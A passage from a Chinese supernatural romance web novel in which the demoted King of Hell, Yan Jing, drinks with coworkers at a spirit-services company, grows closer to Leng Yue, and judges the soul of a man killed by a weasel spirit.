心中略微有些惊讶,心中他没想到,云为衫竟然是位女子!
看她那手臂上缠着几圈绷带,隐约透出点血色,想来是任务中挂的彩。
她站得笔直,脸上没什么表情,却自带一股生人勿近的冷冽。
似乎感觉到阎璟的视线,一个眼神从ppt上直接来个一百八十度大转弯。
“我好看吗?新来的。”云为衫的目光赤裸裸落在阎璟脸上,话问得直接,语气却平淡无波。
阎璟脊背一僵,立刻移开视线,耳根有点发热。
这一移开,又遇上冷樾打量的眼神。
得!他就不该抬头!
“咳,”旁边的白念生适时打了个圆场,声音里带着笑,“阎小璟刚来,还在学习阶段,所以这次没跟着去。这也是冷总监的意思。”
“冷总监很明智,”云为衫接过话,对冷樾点点头,表示对他的决定相当满意。
但目光仍扫过阎璟,“不然去了,我们还不知道该顾哪一头。”
这张嘴啊!真毒!
白念生抿了抿唇,没再接话。
阎璟把头埋得更低,牙关悄悄咬紧了。
他堂堂阎王大人,冥界主宰,竟然被一个女人这样小瞧,实在让人憋闷。
可他又无从反驳。
好吧,他承认,现在的自己确实跟弱鸡差不多。
云为衫三言两语捡重点的汇报完毕,但冷樾的神情并没有松弛下来,反观眉宇间还存在莫名的忧心,“云组长辛苦了,我会让人多留意那边的动态。”
“嗯。”
正事说完了,前后不超过五分钟。
“晚上四组和八组一起聚个餐,庆祝这次事情暂告一段落,冷总监也一起来。”云为衫换了一副面孔,嘴角也微微一笑,语气松快,刚好冲淡会议室里那点肃穆,“正好,庆祝咱们奥迪A8,也算正式挂牌了!”
她转向阎璟,眼神不似刚刚的严肃,甚至带点戏谑,“阎小璟,你呢?来不来?”
这人怕不是会变脸吧!
阎璟顿时喉咙发紧,只含糊挤出几个字:“我……都行。”
“行,那就这么定了。”云为衫一锤定音,“散会。”
没了?
这会议开得……可真有意义!阎璟默默想着。
人群散开后,他看见白念生从和尚手里接过医药箱,走到云为衫身边。
云为衫皱眉,稳稳坐下,伸出受伤的胳膊。
白念生动作熟练的拆旧绷带,下手时云为衫“啧”了一声,反手一巴掌拍在他手背上。
“轻点!我这是肉,不是木头。”
白念生结结实实挨了一下,手上动作放轻了些,嘴角那抹笑却没落下。
冷樾将阎璟拽到一边,“晚上如果不想去可以不去。”
阎璟摇摇头,“不用不用,去。不能不合群。”
“我陪你,你还会怕吗?”
阎璟认真考虑一会,“有你在,我就不会怕了。”
冷樾表情转向温和,揉揉他的小脑袋,“云为衫身份特殊,你以后就知道了。”
阎璟心想,谁身份还没个特殊怎么滴!
就请问,这里除了你冷樾,哪个不特殊!
还用你在这一本正经的告诉自己别人的身份?
聚餐的夜晚,总氤氲着别样的温度。灯光摇曳,玻璃杯在谈笑间举起,又在桌沿轻轻一碰。
“干杯!”
“Cheers!”
阎璟是头一回沾酒,烈意直冲颅顶,辣得他喉间一紧,险些呛出声来。
但为了不当场出丑,捂着嘴把自己憋到面部通红,也硬生生给咽了下去。
一桌六人,推杯换盏间,眼波底下都有各自的盘算。
桌上的饭菜几乎未动,酒却一瓶接一瓶地开。
阎璟想吃那个看起来像花一样的糕点,又不太好意思,毕竟,桌上没有一个人动筷!
思忖间,低头一看,自己碗里多了一块桂花糕,阎璟抬头,冷樾正面无表情的收回筷子。
两人的互动自然落在旁人眼里。
云为衫给白念生偷偷递个眼神,白念生眼神在冷樾和阎璟身上来回,无声的告诉云为衫,似有默契,云为衫点点头,心中明了的模样。
酒过三巡,冷樾还是那副死样子,阎璟和白念生脸色通红发热,自己却浑然不觉,安饶也有点醉,悄悄摸出张黄纸,指尖蘸茶,在桌下勾画起来。
闻不聊和尚忌酒,从始至终一直在喝着水。
而云为衫醉意最显,鄙视的望着安饶,“小道士,喝酒就是为了喝醉,你作弊!”
“这是能力的体现。”
阎璟余光瞥见,侧目望去,安饶便抬起头,笑意浅浅地递过一张,“要吗?”
“完全不需要。”阎璟答得一脸正色。
“嚯,还是个练家子!”安饶瞧他那副强撑的模样,笑着将符纸收了回去。
云为衫是席间唯一的女子,架势却比谁都豪迈。她拎起酒瓶碰了碰冷樾手边那支,“你任职时我没赶上,今天这顿,就当补上了。”
冷樾接过,二话不说,仰头便灌。
“爽快!”
一旁的白念生听着,眉毛微挑,“你们俩认识?”
云为衫大马金刀的坐回椅子上,放下空瓶,同样挑了挑眉,“你们不知道?”
除了阎璟仍有些茫然,其余几人不约而同地摇头。
云为衫回身拍了拍冷樾的肩,“他啊!甲方!我们伦晖集团业务部最大的甲方爸爸。”话音顿了顿,忽又笑起来,“哈哈不对,现在不能这么叫了……冷总已经从甲方干成自己人了。”
见众人仍面露疑惑,云为衫干脆挑明,“每月发布的业务最多就属他们公司,至于现在嘛……”
她拖长语调,眼里满满的戏谑,“人家自己找业务,自己发布,自己接单,再自己派活儿,闭环了,懂吧?”
”这次黄河浮棺事件,他们就是首发现者。”
“哦~~~”白念生才恍然大悟!
云为衫豪爽的笑声中,冷樾悄悄望向阎璟。
那人正微微偏头,盯着杯中晃动的酒水,像在努力消化这段绕来绕去的关系。
冷樾低头抿了口酒,嘴角扬起一丝无奈。
云为衫搂着冷樾的肩头,“我
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刚回来就听说,你找了个对象?”
冷樾一口酒呛在喉间,险些喷出来。这女人,真是什么炸弹都敢往外扔。
他默默把云为衫的手从肩上拨开,“别瞎说。”
“哦——”云为衫拉长声音,“金乔觉跟我说,是绯闻对象。”
这回轮到白念生喷了!
他暗自庆幸,临走前还好把自己和阎璟那条传闻,黑得干干净净。
要是被这女人看见,恐怕今晚他都别想活着出这个门。
“就连我们新来的,也有绯闻对象!”云为衫笑嘻嘻补了一句。
阎璟没喷酒,因为他没喝,但是他已经无地自容,恨不得钻桌底去。
公司的优良传统,果然诚不欺我!
包厢灯光下,云为衫身后隐约晃过一抹毛茸茸的影子。
阎璟一愣,以为自己眼花,赶忙转头佯装夹菜,低头默默吃瓜。
白念生和云为衫不知道什么时候坐在一起,两人头靠着头,还在悄咪咪说着什么。
旁边的安饶和闻不聊去了一趟卫生间后,回来各自坐着,双手抱胸,像是在看戏。
夜过午时,满地的酒瓶。
看似每个人都是云里雾里,实则……
云为衫这么能喝也只是微醺的状态。
冷樾喝的不比云为衫少,可连脸色都没变,强大如厮!
安饶后面基本已经醒酒了,毕竟,醒酒符不是白画的。
白念生更是直接把酒精从身体里逼出来。
所以,直到最后,也就只有阎璟一个人醉的眼神发虚,身体不自觉的往旁边倒!
冷樾凑近,将身体给他靠着,又招呼服务员,给他端了一碗人参汤暖胃。
而不远处的两个人,看着冷樾和阎璟周边冒着的粉红泡泡,那磁场,别人轻易还进不去。
于是,开始相声模式:
“新来的什么路数?”云为衫问。
“刚毕业的大学生。”白念生答。
“有什么本事?”又问。
“还没看出来。”又答。
“我怎么觉得冷樾对他有点那个意思……绯闻对象就是他?”云为衫蹙眉。
“虽然吧,但是吧,确实是,只怪阎小璟长的太顶。”白念生贴着她耳朵,悄摸说道:“这两人还住一起呢。”
“同居,哎呦我去,冷樾可真够造孽的!”
忽然想到什么,转念又问,“对了,你们地府那位老大,是不是来人间界了?”
“嗯,有一阵子了。”
“没查?”
“孟小七查过,没踪迹。”
“阎璟这个突然冒出来的,会不会……?”
白念生果断摇头,“试过,不像。我们老大杀伐果断,人狠话少。阎小璟嘛……”
他瞥了眼那个靠在冷樾身上,正小口喝汤的侧影,“温温吞吞的,说是修道,也没见什么神通。”
云为衫眯起眼,目光如炬,在阎璟身上仔仔细细扫视一通,“万一呢?越不可能发生的事,越极有可能。”
“谁说的。”
“墨菲说的。”
这话让白念生也重新打量起阎璟来,两人瞬间坐直了身子,撑着下巴,认真观察——
就在这时——
“咳……咳咳……”
阎璟突然被人参汤呛到,整张脸涨得通红,眼神更加迷离起来。
他哼哼唧唧推开汤碗,扯了扯冷樾的袖子,脑袋依靠在其胸口,轻轻柔蹭,嘴里咕哝道,“这不好喝……冷樾,我不要了。”
!!!
“OHNO!”云为衫眼珠子快瞪出来了,“他这是在……撒娇?”
白念生同样接受不了,相当肯定,“……这绝对不可能是我们老大!是,我直播吃屎!”
两人对视一眼,疯狂点头,对自己的判断肯定不已。
阎璟!pass!
29. 十分严肃的团建活动
凌晨三点,这场聚餐终于散场。
说散便散,云为衫直接转身化作一阵白雾消失,白念生也回了地府补眠。留下两神一道一佛,在夜色中步行离去。
安饶挥手拦了辆车,冲各位摆摆手径直走了。闻不聊淡然地捻着佛珠,缓步走入一旁的窄巷,身影渐渐融进黑暗深处。
阎璟醉得昏沉,浑身不适,被冷樾稳稳抱在怀中,站在街边等车。
半梦半醒之间,耳边恍惚传来一声呼唤。
突然一个激灵,酒瞬间醒了,喃喃道:“我怎么好像听见黄大仙的声音……”
冷樾冷眼瞥一眼角落那团阴影,淡淡应道,“你听错了。”
“哦。”阎璟一听,眼神直接耷拉下来,再次昏昏沉沉倒在冷樾身上。
冷樾顺势抱他坐进车里,对司机道:“师傅,开车。”
“喂!喂!别走啊——”黄大仙急了,正想追车,却见方才离开的那个和尚,一步一步,从暗处走了回来。
“贫僧还以为,闻错了气味。”
黄大仙浑身一抖,这下是真逃不掉了。
冷樾在车里回头时,正见闻不聊手中提着一只黄鼠狼,朝他的方向微微颔首
一路回来,阎璟反而醒了几分酒意。
冷樾刚抱着他走进院中,他便挣扎着要下来。
无奈之下,冷樾只好将人轻轻放到不远处的秋千架椅上坐稳,秋千缓缓摇晃,阎璟的身子也跟着一摇一晃,脑袋一点一点,跟个提线木偶一般可爱模样。
冷樾想更靠近些,却突然感觉手背一烫,一滴热泪落再他手背上。
“小璟。”
冷樾有点讶异,一句温柔的呼唤,让原本还能勉强压抑住情绪的阎璟彻底失了控。
阎璟仰起脸,任泪水无声滑落,嘴巴委屈地撅得老高,脸颊还泛着酒后的红晕,在月光下显得格外诱人。
他不是个会轻易动情绪的人,难得会情绪外放,还在一个刚认识没多久的人面前,全赖酒精!
他主动伸手抱住冷樾,语无伦次地说起胡话,“冷樾,你是个好人……真是一个顶好顶好的人。
要不是你,我一个人到这个,人生地不熟的地方,叫天不应,叫地不灵,没有朋友,也没有亲人……我难受,你知道吗,我心里难受,比我被雷劈时还难受!”
“……我在这儿,你不用怕。”冷樾轻拍他的背。
“我跟你说,你可不许告诉别人哦。”阎璟也不管他答没答应,自顾自地絮叨起来,手指放在唇边,极小地“嘘”一声,“其实我原来是个宅男,纯屌丝!打死不出门的那种……可我家老头子看我不顺眼,故意设套把我赶出来了……”
又换了套说辞,但还是在说被封印神力,被神罚下界的事!
这件事成了他心头解不开的疙瘩!
可糟糕!
冷樾心头一虚,自知有些理亏,一时不知如何回应他。
总不能坦白说,封住你神力的那个人就是我?
这话一出,只怕阎璟会瞬间酒醒,二话不说将他打进十八层地狱。
“留在人间陪着我,不好吗?”冷樾低声问。
“我已经……很久没出过门了。人间……变了。”阎璟没有回答他,只是声音越来越小。
“多久?”冷樾问。
“千年……了吧。”
冷樾收拢手臂,将他拥得更紧些,掌心一下又下,安抚他的后背,“你也知道自己这么久没露面了,那你可知,我找了你多久?就因你的宅和懒,闭门不出,我寻你便寻了千年,我找谁说理去。是你欠我的!”
能把自己处于劣势地位,正大光明说出这话的冷樾,脸皮也真厚够可以。
阎璟猛的抬头,抬起双手,“啪”一下捧住冷樾的脸颊,眼神迷蒙,晃着小脑袋,“你也醉糊涂了不成?”
“是啊。”冷樾轻轻应道。
阎璟脑袋一歪,靠在他肩头沉沉睡去。
冷樾顺势将他拥入怀中,久久没有松开。
“所以……千万别怪我把你带出来。”他低声说道,而阎璟早已呼吸均匀,听不见了。
翌日,阎璟迷糊中在冷樾怀中醒来,全身未着寸缕,顿时惊呆。
他又被神罚了?衣服怎么又没了?
随即他才回过神来,感官回升,低头一看腰身上覆盖的温热的大手,再一看,冷樾那张充满冲击力的脸,在他眼中无限放大,惊慌中赶忙起身穿衣。
天!
慌慌张张,衣服刚穿一半,此时冷樾也悠悠转醒,身旁的温热不在,用手扒拉两下,没有摸到人,这才睁眼。
阎璟动作极慢,转过头对上他的眼神。
彼时,四目相对,空气进入凝滞状态。
侧躺着的那个不说话,穿衣服这个也再等对方先说话。
最后谁都没开口!
徒留尴尬!
阎璟只能使出他的独门绝学,装死!
只要他不尴尬,尴尬的就是别人!
“几点了。”最终还是冷樾打破尴尬的气氛。
阎璟身上衣服快速整理好,又慌忙转身找时间,手机没找到,钟表也没看到,四处摸瞎,在床上把自己转上好几圈,三百六十度环绕,最后愣在原地,“不知道。“
冷樾:“……”
两人上班的路上,阎璟坐在副驾,脑袋一路就没抬起来过。
昨夜他真是喝的太多了,多到他完全断片,怎么和冷樾睡到一起的,他也想不起来。
冷樾说是他喝醉硬缠着不放,非得睡一块,说上次床上被冷樾压,这次他要压回来,如果不给压,以后就不让冷樾回家!
衣服也是他自己脱掉的,不仅脱了自己的,连冷樾的也给脱掉,说要同甘共苦!
说的阎璟无地自容,满脸通红,跪地道歉三连,“我错了,我认罪,原谅我吧!”
冷樾费尽全身力气才把笑意硬生生憋下去。
阎王大人,太可爱了,说啥都信!
上午十点钟左右,人事突然忙碌起来,办公室里除了他们几个闲散人员无所事事,其他都出去跑业务去了。
阎璟刚和白念生刚打完招呼,两人就看到冷樾一脸严肃从办公室出来,经过他们的工位,只看了一眼,脚下未停,坐着电梯往顶层总会议室去。
云为衫同样,一边扎着马尾,一嘴叼着皮筋,一边快步跟上冷樾的脚步。
阎璟看着两人背影,眉头深锁,“发生什么事了?”
白念生毫不在意的摆摆手,给阎璟递个棒棒糖,拍拍他肩膀,“没事的,人界出不了什么大事!”
“这看着不像啊!”
伦晖高层召开紧急会议,经理级以上人员皆须出席。
除了偏爱看广场舞的岳晖老总(CEO)未
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到场外,其余核心管理层均已就座。
业务总监——冷樾
技术总监——莫职
总秘书长——息灵铃
业务经理——云为衫
技术经理——苍郁青
人事经理——金乔觉
此时,会议室里弥漫一种凝重的寂静,一瞬间抽走所有的声响。
顶灯上方洒下白色的光,六人面对而座,气氛严肃。
金乔觉偶尔抬眼一瞥,云为衫面色不屑一顾,莫职嘴角上扬,不知在高兴什么东西。
见人到齐,息灵铃起身,红色的指甲特别醒目,走上前去,拿起红色紫外线笔,一个挥手,中空上方出现全息投影,每个人面前对应一面屏幕,画面一致,开始播放图片。
息灵铃说:“本次公司团建项目分类如图,下面开始决策,一、团建时间,二、团建地点,三、确定人员,四、通行工具……”
气氛在一瞬间打破!
云为衫豪不客气白了一眼,也不知道刚刚一个个的都在严肃个什么劲,她头发都没扎好。
金乔觉率先站起来,“大家看下投影上几个选定的地点,比较中意哪个咱们就去哪个,其他都是虚的。当然,费用控制在这个范围内就好。”
说着,他举手比个数字!
莫职往后面椅背上一靠,整个人松散下来,大腿翘二腿,小手一指,“那个溪水古镇挺好的。”
“别!”云为衫,息灵铃两方默契伸手打断,“别去,都是气死,阴森森的,有点能力的业务员压根看不到古镇,只能看到层层黑气,影响体验。”
“把异能关了不就行了。”
“你说关就关,那是自动触发。”
“那湖边BBQ!?”金乔觉提议。
苍郁青冷冷说道:“上次去湖边,团建没办成,净给淹死鬼超度了。”
“那高空体验?”莫职说。
云为衫摆摆手,“别,刚回来,还没落地实感,又要上天?饶了我吧!”
“你不是去黄河了吗?”
“那我不用飞身吗?你猜我怎么捞棺的?”
“农家乐!?”金乔觉提议。
云为衫连连鼓掌:“真是个好主意,你踏马怎么知道我们一个两个都不会做饭的!去砸厨房吗?”
哎!众人陷入万难!
冷樾低头沉思半晌,声音清冷,“游乐园!”
众人齐齐看向他,息灵铃说,“游乐园倒是可以,项目也多,就是怕没人去啊!上次那个……”
“你还是不了解他们。”冷樾冷冷甩出一句话。“去的话,费用我全包,不用走公司公账!同意举手!”
金乔觉率先举手,随后一个个全票通过!
万恶的资本!
散会后,冷樾在办公室前面偶遇阎璟,阎璟刚想找他说话,就被后面的云为衫叫走。
云为衫个性爽朗,双手一拍,“A组人呢?我有事要宣布?”
“组长,歇着吧!”白念生扫了一圈就知道,大部分人还没回来。
“没回来就直接语音符通知。”视线转向阎璟,“阎小璟,你来,正好让我看看你的实力。”
阎璟愣了一下,画符?
这么低阶?
他不会啊!
“组长,我……用电话可以吗?”
云为衫,白念生:“……”
30. 倒霉蛋的冷樾大人
白念生低声提醒他,“组长是想试探你的能力。”
一个能力如此超群的特殊服务公司,阎璟居然想用打电话,这么朴实无华技能。
云为衫上前迈一步,直接走到他面前,仔细打量。
把阎璟整个人,盯得局促不安,恨不得找个洞钻进去。
她才慢悠悠转移视线,随后叹了口气,“抛去颜值不谈,公司究竟看上你哪了?这么简单的符都不会画,还会什么?”
被小瞧了!
阎璟咬咬后槽牙,“要不,我试试……画一道符吧!”
传音符他是真的不会!太低阶!
“别的符可以吗?”
“把你会的都画出来。”云为衫已经不做指望了。
在一旁看戏的白念生,明目张胆从隔壁桌直接顺手牵羊,拿来符纸和朱砂,往阎璟工位一放。
阎璟接过朱砂笔,在原地定格好一会,在脑海里搜索半天关键字,才想起千年前他曾经画过的那些破烂玩意。
破邪,镇妖,驱鬼,镇灵,安魂,定身……嗯,捡个简单不易出错的随便画个吧!
就镇灵符吧!
虽然他现在神力没有几滴,但,效果应该也还过得去。
阎璟在二人紧逼注视下,拿起朱砂笔,笔尖轻轻一点,在符纸上上下游走,笔势沉稳,下笔有神,一气呵成。
“镇灵符!高级符箓。”云为衫没料到他真能画出来,神情稍缓,语气轻淡,“不错,还有点用!”
说着她拿起符纸,仔细观察起来,细看几眼,又看出有几处笔锋漏洞,一拍额头十分无奈,“话说早了。”
不能说画的不对,只是这样的画法早就没人用了。
估计不知道哪里看来的早古笔法,想来也没多大用处。
算了,至少能证明阎小璟有点小本领,但不多。
说罢,她将符纸收起,转身对白念生说道,“你带他,把基本的东西都教会。”
白念生不情不愿的“啊!”一声,“不是,我一个……你找安饶带他不就行了,他毕竟专业。”
白念生刚想说他一个判官,云为衫沉思片刻,正好跟他相反,白念生一个判官,不比一个道士会画?
“就你,给我好好带!”
“你不是说有事要宣布?”白念生转移话题。
云为衫“哦”一声,反应过来,“对,阎小璟,你是刚来公司,很走运,一年一度的团建活动让你赶上了。”
“团建?”
白念生在一旁顺手接话,“团建是指公司正大光明占用你个人的休息时间,给大家打鸡血灌心灵鸡汤的行为,一般都是特别无聊的活动。”
“这次不一样。”
“哪不一样,我就没见过哪次不出事的。”白念生往位置上一坐,二郎腿翘起来,懒洋洋的,“每次都是高兴而去,败兴而归。”
“这次去游乐园,纯玩。”
白念生神情顿了顿,眉毛一抬,“金乔觉转性了?”
“是冷总监提的方案。”
白念生先是瞥了阎璟一眼,随即默默把腿放了下来,和云为衫暗暗交换个眼神。
两人同时露出恍然大悟的表情。
只有阎璟头顶飘过六个问号!
这两人打什么哑谜!
一棵百年梧桐树下,闻不聊和尚盘腿而坐,前面放着的黑色封印罐中,传来断断续续的哀求,他垂眸不语,只是一胃敲击木鱼,木鱼声沉,一下又一下。
罐子里的黄大仙近乎哀求,颤抖着声,“大师啊!我错了……我没害人呐!”
“你猜贫僧信不信?”闻不聊捻动佛珠,看不出什么情绪。
“大师,是真的。”黄大仙几乎带了哭腔,“我真不是有意的,怪我女儿,最近看短视频中毒很深,我没想到她不好好修炼,竟偷偷跑下山,去找人类讨封,还被人抓了,差点丢了性命,我只是去救回女儿,可谁知,那个人类魂被吓散了。”
“我真不是有意的。”说着便呜呜咽咽连哭带嚎起来。
闻不聊手中的木鱼声未停,“那你昨晚为何又去骚扰凡人。”
昨晚?
黄大仙愣了一下,突然想起来阎璟此人,“大师,我不是去骚扰他,那个小哥是个道士,是个真有本事的。他上次能帮一个飘荡六十年的死魂入了轮回,我就想着,那这个被吓死的人,他应该也有本事送回去。我是去求他帮忙的啊!”
“阿弥陀佛。”
“你放了我吧!我真不害人!”黄大仙的声音近乎祈求,“我受青灯山上灵气滋养,修行数百年,深受教化,从不害人。我家小女管教无方,我已经严厉教育过,请饶了她这一次吧!”
这段话说的中肯,闻不聊确实从他身上没有闻到业果的气味。除了本次惹了事,徒增孽障!
闻不聊停止木鱼,直起身来,“指路。”
黄大仙立刻反应过来,指路前往那凡人魄散之处。
午休时分,阎璟正撑着头小憩,突然觉得有些异样,猛地睁开眼睛,骤然抬起头来。
在他识海当中,那本拥有阎王权限的生死簿,突然亮起了刺目的红字预警。
赵勇民,38岁,阳寿未尽,死于异端。
阎璟蹙眉,已经很久没有凡人显示死于异端。
这段时间他也逐渐了解到,自人类改革开放后,城里禁止成精,怎么会有异端出现在人类社会?
想罢立即起身,抄起搭在椅背上的西装外套就往外走。
刚出门,迎面撞见也从总监办公室出来,正披上风衣的冷樾。
冷樾虽然表情淡淡,但眼底净是温柔,也没问他要去哪儿,只平静道,“一起吧。”
阎璟低头,见冷樾手中平板屏幕上生死簿登录的界面,心中一时了然。
地下车库里,两人默契地上车。冷樾坐进驾驶座,阎璟拉开副驾的门。
启动,系安全带,放手刹,快速起步,一气呵成!
目的地不远,就在本市一处私人别墅住宅。
行车过程中,阎璟悄悄瞥了冷樾一眼,对方一直专注开车,也没问他一个低级业务员,为何会知晓这次异端事件,既然他不问,自己也无需多嘴。
“我脸上怎么了吗,这么一直看我,我会害羞的。”冷樾心情不错。
阎璟立即收回视线,心想,我也挺害羞的。
抵达别墅时,闻不聊和尚正在屋内作法。
阎璟望见别墅外围拉起的警戒线和随行的法医,看来人间的特殊机关消息还挺快。
“哎,闲人免进。”两人还没进入房内,就被拦在门外。
冷樾从风衣内衬里拿出一份带着五角星的红色证件,机关人员接过看了两眼,便将其放行入内。
这么省事。
冷樾刚越过警戒线,阎璟又被警官拦在外面。
“一起的。”冷樾朝身后的执法人员简短交代,阎璟这才被放行跟着进入。
阎璟进来晚上一步,却见冷樾向来冷淡的双眸中闪过一丝意外。
顺着他的目光看去,那张死状惨白的脸,不正是前两次为难他,还说要和他交朋友的中年男人吗
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“这……还真是有缘啊!”阎璟轻声感叹。
冷樾将他拉到一旁,避免挡住别人走道,“什么缘?”
“就这个男人,我之前遇到过两次,你不记得了?”阎璟认真地解释起来。
冷樾只是随口一问,他一眼就认出来了。只是没想到阎璟居然还真解释给他听。
这时,闻不聊和尚已做完法事起身,朝两人颔首致意。
冷樾问,“什么章程?”
闻不聊还未开口,他随身携带的封印黑罐,却像是嗅到了阎璟的气息,突然激动地摇晃动起来。
“贵人!贵人!是我呀!救救我!”
闻不聊拍了拍罐子,示意里面的黄大仙安静。
但这动静已引起阎璟注意。他上前一步,拿起黑罐轻轻晃了晃,里面立刻传来“哎哟”的叫唤。
这声音……耳熟。
“是黄大仙人!”
“……”冷樾一时无语,闻不聊也面露无奈。
一只成了精的黄鼠狼,也能被称作“仙”?
阎璟却已转过头,兴致勃勃地向冷樾介绍,“你听,这里是我朋友,就在我们那座山上修行,人称黄大仙人。还是你告诉我的,说他许愿很灵。”
冷樾转过身,视线左右看了看,“我什么也没听见。”
闻不聊看了冷樾一眼,并不拆穿,转身去向警察那边做笔录。
阎璟不好意思地挠挠头,“忘了你是普通人,听不见也正常。”
于是,朝着冷樾眼睛上一点,“这样就好了。”
这人在给自己开天眼?
冷樾顿时无语起来,轻轻摇头,“若真是黄大仙,许愿倒确实灵验,每个愿望也都能实现,只不过……”他顿了顿,“过程总是曲折离奇让人难以招架。”
“怎么说?”
“你前段时间不是一直在上网?没留意过类似的事?”
阎璟茫然摇头,表示不知。
冷樾把黑罐从阎璟手里过出来丢给闻不聊,拉着阎璟在桌边坐下来,说,“之前有个穷的揭不开锅的人,听说那个山神庙许愿很灵,便提着大公鸡,去青灯山上许愿,求能发笔小财。”
“然后呢?”
“财是发了,下了山就被撞个半残,对方赔了他十八万。”
阎璟一时无言。
黄大仙在闻不聊的手里还在不停吆喝,“你就说灵不灵吧!”
“还有一次,”冷樾继续说,“有个女子嫌自己不够漂亮,去许愿变漂亮。”
阎璟已经顿感不妙,“……结果呢?”
冷樾别过脸,不太想回忆,“她没站稳,从山上滚了下去,一直滚到半山腰那户人家门前,摔掉了四颗牙。最后那户人家赔了一笔钱,给她整了容。”
阎璟没忍住,“噗”地笑了出来。
“……还真是一个主打结果,不问过程!”阎璟抿嘴,努力敛起笑意。
抬眼一看,冷樾却一脸郁闷之色,“冷樾,我发现你提起这个事来,心情好像不太好。”
冷樾望着阎璟那张充满好奇和求知欲的脸,叹了口气,“因为那个接连被讹,不得不赔钱的倒霉蛋,就是我。”
阎璟先是一愣,随即“噗嗤”一声,直接笑了出来。
这下他全明白了,怪不得冷樾一听到是黄大仙没有好脸色!
他想忍住笑,可嘴角不听使唤的往上扬,只得捂住嘴,肩膀因为笑,止不住颤抖。
冷樾原本冷清淡漠的那张脸,望着阎璟笑得弯弯的眉眼,唇角也弯起了一个温柔的笑意。
31. 出发团建的阎王大人
闻不聊已将事情原委向机关部门说明清楚。
冷樾和阎璟也深知此事颇为棘手,魂魄一旦散去,便极难重聚。
幸好闻不聊手中那串佛珠能暂时稳住魂魄。
“啪”一声轻响,大门合拢,屋内只剩下他们三人。
不多时,一点一点白色的微光,开始在空中汇聚,逐渐凝结成一个模糊的人形。
魂魄刚刚稳住,那人才睁开眼,一见眼前几人,顿时又是一阵惊叫。
随后他目光在几人中来回穿梭,最终见到阎璟这个熟人,颤抖声问,“是你……你也死了?”
阎璟对他没有什么好印象,面无表情,“我没死。”
“那我怎么看得见你?”
阎璟声音平静,“因为你死了。”
冷樾将手中的平板权限递给阎璟。
阎璟会意,输入死者姓名,以一贯冷冽清晰的嗓音念起此人生平:
“赵勇民,男,38岁,意外枉死,剩余阳寿41年。生前曾行善举,捐建希望小学三所,积功德三千;然亦犯下恶行,□□女子两人、男子四人,其中一人遭性虐致死……”阎璟话音微顿,继续念:“累计业果一万八千。综合评定,负一万五千分。判入枉死城,待补尽阳寿,了结因果之后,再入轮回。”
阎璟的语调平稳而利落,不带半分情绪,这才是阎王应有的模样。
“还有执念未了?”阎璟抬起头来问道。
“有。”那赵勇民的魂魄急切地开口,“那个吓死我的怪物……你们怎么判它?”
阎璟朝后方一个被封印的黑色瓷罐,抬了抬下巴,想了一下,“打回原形。”
“这不公平!难道它不用赔我性命?”
阎璟目光如霜,声音更冷,“那个被你虐杀之人的性命,此刻,不正是你在赔吗?”
那赵勇民魂魄顿然僵住,哑口无言。
一旁闻不聊轻捻佛珠,低诵一声,“阿弥陀佛,有因必有果。”
返程途中,阎璟怀里抱着那只黄大仙,与冷樾低声交谈。
“你是说,他原本不必死的?”冷樾说。
“嗯,他阳寿未尽。可惜,他欠了别人一条命,而对方同他一样,阳寿也未尽。”
阎璟望向车窗外,语气里听不出波澜,“此刻,那人正在枉死城里……等着他呢。”
黄大仙学着闻不聊一副世外高人的模样,“有因必有果,他的报应就是我。”
闻声,阎璟直接给了他一个大大的脑瓜崩,“都被打入原型了,还不老实。”
黄大仙倒是不怎么在意,至少比丢了性命好,“再修炼就是,就是可惜了,别人再来找我许愿,可能就不灵了。”
说到许愿,阎璟看了一下正在开车的冷樾,噗嗤一声又笑了出来。
找黄大仙许愿,拿冷樾打窝!
……
青灯山上,山神庙前。
一位身穿鹅黄连衣裙的少女,静静伫立,黄大仙一见那身影,便从阎璟怀中一跃而下,声音发颤,边跑边喊:“女儿……女儿呀……”
“爸爸……”少女抱住已打被回原形的黄大仙,眼泪簌簌落下。
按理说,阎璟已经为冷樾开了天眼,可冷樾那副毫不在意的模样,似乎眼前一切从未入眼底,让阎璟一时有点分不清到底是自己神力不足,所以开天眼并未成功?
便轻轻拉着他的手臂,凑近耳边低声解释眼神的景象。
冷樾望着他解说时,那双明亮生动的眉眼,一时怔然。
闻不聊反观当没看见,走到一旁,睥睨注视山下雾蒙蒙的城市。
那一边,黄大仙一蹦一跳拉着女儿来到阎璟跟前,忙介绍道,“贵人,这是我女儿,叫黄仙儿。”
黄大仙,黄仙儿。
可真是万般不离一个“仙”字。
“……”阎璟瞧瞧化成人形的少女,又低头看看跳到自己怀中的黄大仙,“你这名字起得倒是省事。”
“贵人,您若不嫌弃,就让我女儿跟着您修行吧!往后,只要您还在世一天,她就侍奉您一天,直到您寿终正寝。”
听起来不像什么好话。
咒他死吗?有点可惜,可能永远也没有那一天了。
阎璟挑眉,“不会再玩黄皮子讨封那套了吧?”
“不敢了!再不敢了。”少女在一旁急急认错,“都怪我轻信网上传言,想着投机取巧,讨封成仙……是我错了,还是爸爸说得对,修行之路是没有捷径的。”
阎璟心底已想答应,但是他自己还是借住在冷樾地盘,总不能不问主人,就擅自将带人回去。
况且面前这个,还不算人。
他转向冷樾,询问他的意见。
冷樾颇有些意外,这人竟没有直接应下,反而来问自己。
“如果我说不行呢?”冷樾微笑说道。
阎璟声音很静,不纠结,也很理所当然,“你若说不行,那便不行,你说了算。”
阎璟的态度竟一时让冷樾无话可说。
黄大仙在他怀里,急得眼睛都红了,“贵人……冷先生,我女儿很乖的,她绝不会给贵人添乱,她端茶倒水打扫卫生烧饭种菜什么都会,带回去,买不了吃亏,也买不了上当……”
黄仙儿的脸红的不行,哪有这么卖女儿的。
冷樾却似没听见,只看着阎璟,“为何突然想收一只小妖?”
阎璟怔了怔,思考一会,才道:“……大概是觉得她可怜吧!”
“可怜?”冷樾不知道这个可怜从何而来?
“嗯。”阎璟目光有些飘远,又或者说是黄大仙无私的父爱,让他回忆起很久以前的一些事来。
“其实,我曾经,也收养过一个孩子,那个时候,世界太乱,也太贫脊。他喊我爹爹,哦不对,是爸爸!”阎璟突然响起来,现在社会对父亲的称谓已经改变,爹爹已经变成爷辈了。
“只是后来,那孩子……被我养死了,可惜的是,连魂魄也未能留下。”
阎璟有些惘然,明明黄仙儿与那孩子并无半分相似,却不知为何今天在此刻忽然想起那个苦命的孩子。
若是那时候,自己有本事一点,能像黄大仙这样,给那孩子满满的爱,可能那个孩子就不会死了吧!
……
冷樾望着他的眉眼,轻叹口气,压住泛酸的喉咙,心中苦涩,透过阎璟的眼睛,凝视着眼底深处的悲伤,沉默了许久许久……
